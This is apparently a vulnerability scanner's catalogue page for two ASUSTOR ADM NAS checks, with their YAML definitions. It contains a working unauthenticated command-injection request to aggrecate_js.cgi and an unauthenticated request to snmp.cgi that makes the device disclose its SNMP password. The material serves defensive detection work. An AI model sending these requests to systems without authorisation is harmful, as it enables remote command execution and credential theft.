ASUSTOR — 2 vulnerability checks
noctis ships 2 vulnerability checks for ASUSTOR, covering 18 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
ASUSTOR ADM <= 3.1.2.RHG1 aggrecate_js.cgi unauthenticated command injection
| CVE | CVE-2018-11509, CVE-2018-11510, CVE-2018-11511 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/asustor/CVE-2018-11509.yaml |
Tests ASUSTOR ADM for unauthenticated remote command execution via the `script` parameter of /portal/apis/aggrecate_js.cgi. A `"&ls -l&"` payload runs a shell command whose directory-listing output is reflected in the response, confirming the vulnerability. QoD 75.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /portal/apis/aggrecate_js.cgi?script=launcher%22%26ls%20-l%26%22 HTTP/1.0 - Checks
rce_resp.bannerfor(?s)^HTTP/1\.[01] 200.*(?m:^[d-][rwx-]{9}\s+\d+\s+root\s+root\s)→ finding QoD 75: Unauthenticated RCE confirmed — aggrecate_js.cgi executed `ls -l`: …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2018-11509
- https://nvd.nist.gov/vuln/detail/CVE-2018-11510
- https://nvd.nist.gov/vuln/detail/CVE-2018-11511
- https://packetstormsecurity.com/files/148919/ASUSTOR-NAS-ADM-3.1.0-Remote-Command-Execution-SQL-Injection.html
Feed source — tests/vulnerabilities/asustor/CVE-2018-11509.yaml
# ASUSTOR ADM <= 3.1.2.RHG1 Multiple Vulnerabilities — CVE-2018-11509/11510/11511
#
# ASUSTOR ADM exposes /portal/apis/aggrecate_js.cgi whose `script` parameter is
# passed to a shell without sanitisation, allowing unauthenticated remote
# command execution (the chain also covers default credentials and blind SQLi).
#
# Affected: ASUSTOR ADM 3.1.2.RHG1 and prior.
#
# Detection (active check): send a crafted GET whose `script` parameter breaks
# out with `"&<cmd>&"` to run `ls -l`, and confirm the directory-listing output
# (drwx... root root) is reflected in the response. The payload is URL-encoded
# (%22 %26 %20), so tcp_connect with a verbatim HTTP/1.0 request is used
# (reqwest would normalise the encoded path) and the match runs on resp.banner.
# QoD 75 (response analysis / content match).
#
# Ported from OpenVAS/Greenbone NVT 2018/asustor/gb_asustor_adm_rce_vuln.nasl
# (GPL-2.0-only).
uid: 5d2173b3-a555-4948-9c9d-82773b024ecc
name: "ASUSTOR ADM <= 3.1.2.RHG1 aggrecate_js.cgi unauthenticated command injection (CVE-2018-11509)"
description: |
Tests ASUSTOR ADM for unauthenticated remote command execution via the
`script` parameter of /portal/apis/aggrecate_js.cgi. A `"&ls -l&"` payload
runs a shell command whose directory-listing output is reflected in the
response, confirming the vulnerability. QoD 75.
cves: [CVE-2018-11509, CVE-2018-11510, CVE-2018-11511]
cvss: 9.8
severity: critical
confidence_base: 0.25
tags: [asustor, adm, nas, command-injection, rce, unauthenticated]
category: rce
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-11509"
- "https://nvd.nist.gov/vuln/detail/CVE-2018-11510"
- "https://nvd.nist.gov/vuln/detail/CVE-2018-11511"
- "https://packetstormsecurity.com/files/148919/ASUSTOR-NAS-ADM-3.1.0-Remote-Command-Execution-SQL-Injection.html"
# Ported from OpenVAS NASL 2018/asustor/gb_asustor_adm_rce_vuln.nasl (GPL-2.0-only)
steps:
# tcp_connect is required: the payload is URL-encoded (%22/%26/%20) and
# reqwest would normalise it before sending. Raw TCP preserves it verbatim.
- id: inject
action: tcp_connect
port: "{{port}}"
send: "GET /portal/apis/aggrecate_js.cgi?script=launcher%22%26ls%20-l%26%22 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: rce_resp
- id: confirm
action: match
source: rce_resp.banner
# Require an HTTP 200 (NASL check_header:TRUE) AND a real `ls -l` entry
# (perm bits + link count + root root) — not just "root" appearing twice.
pattern: "(?s)^HTTP/1\\.[01] 200.*(?m:^[d-][rwx-]{9}\\s+\\d+\\s+root\\s+root\\s)"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "Unauthenticated RCE confirmed — aggrecate_js.cgi executed `ls -l`: {{rce_resp.banner}}"
stop: trueASUSTOR ADM snmp.cgi Unauthenticated SNMP Password Disclosure
| CVE | CVE-2018-12305, CVE-2018-12306, CVE-2018-12307, CVE-2018-12308, CVE-2018-12309, CVE-2018-12310, CVE-2018-12311, CVE-2018-12312, CVE-2018-12313, CVE-2018-12314, CVE-2018-12315, CVE-2018-12316, CVE-2018-12317, CVE-2018-12318, CVE-2018-12319 |
|---|---|
| Severity | high · CVSS 8.8 |
| Category | exposure — Exposure |
| Services | http, https |
| Detection | tcp_connect, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/asustor/asustor-adm-snmp-password-disclosure.yaml |
Sends the unauthenticated `act=get` request of the ASUSTOR ADM SNMP settings API (/portal/apis/services/snmp.cgi) and confirms that it returns the SNMP configuration, including the cleartext SNMPv3 password (`"success": true` and a `"passwd":` field). Community names and the password are not copied into the finding.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
POST /portal/apis/services/snmp.cgi?act=get&tab=Get&_dc=1530552418588 HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
leak.redactedfor"success": true, "passwd": "<redacted>"→ finding QoD 75: Unauthenticated POST /portal/apis/services/snmp.cgi?act=get returned HTTP 200 with the SNMP settings ("success": true) including the commun…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2018-12318
- https://nvd.nist.gov/vuln/detail/CVE-2018-12313
- https://blog.securityevaluators.com/over-a-dozen-vulnerabilities-discovered-in-asustor-as-602t-8dd5832a82cc
Feed source — tests/vulnerabilities/asustor/asustor-adm-snmp-password-disclosure.yaml
# ASUSTOR ADM < 3.1.3.RHU2 — snmp.cgi SNMP settings disclosure (CVE-2018-12318)
#
# ADM's SNMP settings API /portal/apis/services/snmp.cgi answers an `act=get`
# request without any session with the whole SNMP configuration as JSON —
# SNMPv1/v2c community names and the SNMPv3 password in cleartext
# (`{"success": true, ... "passwd": "..."}`). The same advisory (ISE, "Over a
# dozen vulnerabilities discovered in ASUSTOR AS-602T") covers 15 CVEs; the
# OpenVAS NVT tracks all of them but only this request is tested, which proves
# CVE-2018-12318 (snmp.cgi returns the password in cleartext). The finding
# therefore names CVE-2018-12318 only; the feed-level `cves:` keeps the NVT's
# list for tracking (remember `exclude_cve` matches by overlap).
# Affected: ADM before 3.1.3.RHU2 (CVE records cite 3.1.1).
#
# Ported from OpenVAS/Greenbone NASL 2018/asustor/gb_asustor_adm_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.141755, GPL-2.0-only). Same request (POST,
# `X-Requested-With: XMLHttpRequest`, `Content-Length: 0`), same markers
# (`"success": true` and `"passwd":`).
#
# Real exploitation, read-only: the feed actually retrieves the SNMP settings
# (community names + v3 password) without credentials — that IS the exploit.
# Nothing is written on the target (CVE-2018-12313, the command injection in
# the same API, needs an `act=set` that rewrites the SNMP configuration, so it
# is not probed). No disclosed value leaves the parse step: the finding carries
# a fixed placeholder text and only the password length (the match step copies
# its `source` into the finding, so it must never be resp.banner).
#
# Better than the NASL:
# - no ASUSTOR detection-VT (CPE) pre-gate: the NASL only runs where its
# product detection succeeded first, so an ADM it fails to fingerprint
# (reverse proxy, custom landing page) is missed although the API leaks;
# - the NASL matches the literal `"success": true` (one space) and
# `"passwd":`, so compact JSON (`"success":true`) or another spacing makes
# it miss the leak; here JSON whitespace is tolerated;
# - the NASL checks the body only; here an HTTP 200 is also required;
# - HTTPS is covered via the auto-TLS of tcp_connect.
uid: d4726e59-23dd-4da0-a673-06efe9996135
name: "CVE-2018-12318 — ASUSTOR ADM snmp.cgi Unauthenticated SNMP Password Disclosure"
description: |
Sends the unauthenticated `act=get` request of the ASUSTOR ADM SNMP settings
API (/portal/apis/services/snmp.cgi) and confirms that it returns the SNMP
configuration, including the cleartext SNMPv3 password (`"success": true`
and a `"passwd":` field). Community names and the password are not copied
into the finding.
cves: [CVE-2018-12305, CVE-2018-12306, CVE-2018-12307, CVE-2018-12308, CVE-2018-12309, CVE-2018-12310, CVE-2018-12311, CVE-2018-12312, CVE-2018-12313, CVE-2018-12314, CVE-2018-12315, CVE-2018-12316, CVE-2018-12317, CVE-2018-12318, CVE-2018-12319]
cvss: 8.8
severity: high
category: exposure
confidence_base: 0.30
tags: [asustor, adm, nas, snmp, credential-disclosure, unauthenticated, openvas]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-12318"
- "https://nvd.nist.gov/vuln/detail/CVE-2018-12313"
- "https://blog.securityevaluators.com/over-a-dozen-vulnerabilities-discovered-in-asustor-as-602t-8dd5832a82cc"
- "OpenVAS/Greenbone NASL 2018/asustor/gb_asustor_adm_mult_vuln.nasl (OID 1.3.6.1.4.1.25623.1.0.141755, GPL-2.0-only)"
steps:
# 1 — the NASL request, verbatim: POST with an empty body and the ExtJS
# XMLHttpRequest header, no session cookie (HTTP/1.0, TLS auto from the scheme).
- id: probe
action: tcp_connect
port: "{{port}}"
send: "POST /portal/apis/services/snmp.cgi?act=get&tab=Get&_dc=1530552418588 HTTP/1.0\r\nHost: {{target_host}}\r\nX-Requested-With: XMLHttpRequest\r\nContent-Length: 0\r\n\r\n"
timeout_secs: 10
store_as: resp
# 2 — parse the reply: HTTP 200, `"success": true` and a `"passwd":` key (the
# NASL markers, any JSON whitespace). Only the password length and a fixed
# placeholder text (no byte of the reply, headers included) leave this step.
- id: parse
action: script
code: |
let out = #{ leaked: false, pw_len: 0, redacted: "" };
if type_of(resp.banner) == "string" {
let b = resp.banner;
let ok200 = ereg("^HTTP/1\\.[01] 200", b);
let ok = ereg("\"success\"\\s*:\\s*true", b);
let pw = ereg("\"passwd\"\\s*:", b);
if ok200 && ok && pw {
out.leaked = true;
// length of the JSON string value (escapes counted as written)
let m = eregmatch("\"passwd\"\\s*:\\s*\"((?:[^\"\\\\]|\\\\.)*)\"", b);
if m.len() > 1 {
out.pw_len = strlen(m[1]);
}
// fixed text: no byte of the reply (headers included) reaches the finding
out.redacted = "HTTP 200 {\"success\": true, \"passwd\": \"<redacted>\"}";
}
}
out
store_as: leak
# 3 — report on the fixed placeholder; no disclosed value reaches the finding.
- id: confirm
action: match
condition: "leak.leaked == true"
source: leak.redacted
pattern: '"success": true, "passwd": "<redacted>"'
on_match:
finding:
cves: [CVE-2018-12318]
confidence_delta: 0.55
qod: 75
evidence: "Unauthenticated POST /portal/apis/services/snmp.cgi?act=get returned HTTP 200 with the SNMP settings (\"success\": true) including the community names and the SNMP password in cleartext ({{leak.pw_len}} characters, value withheld) at {{target_host}}:{{port}}"
stop: true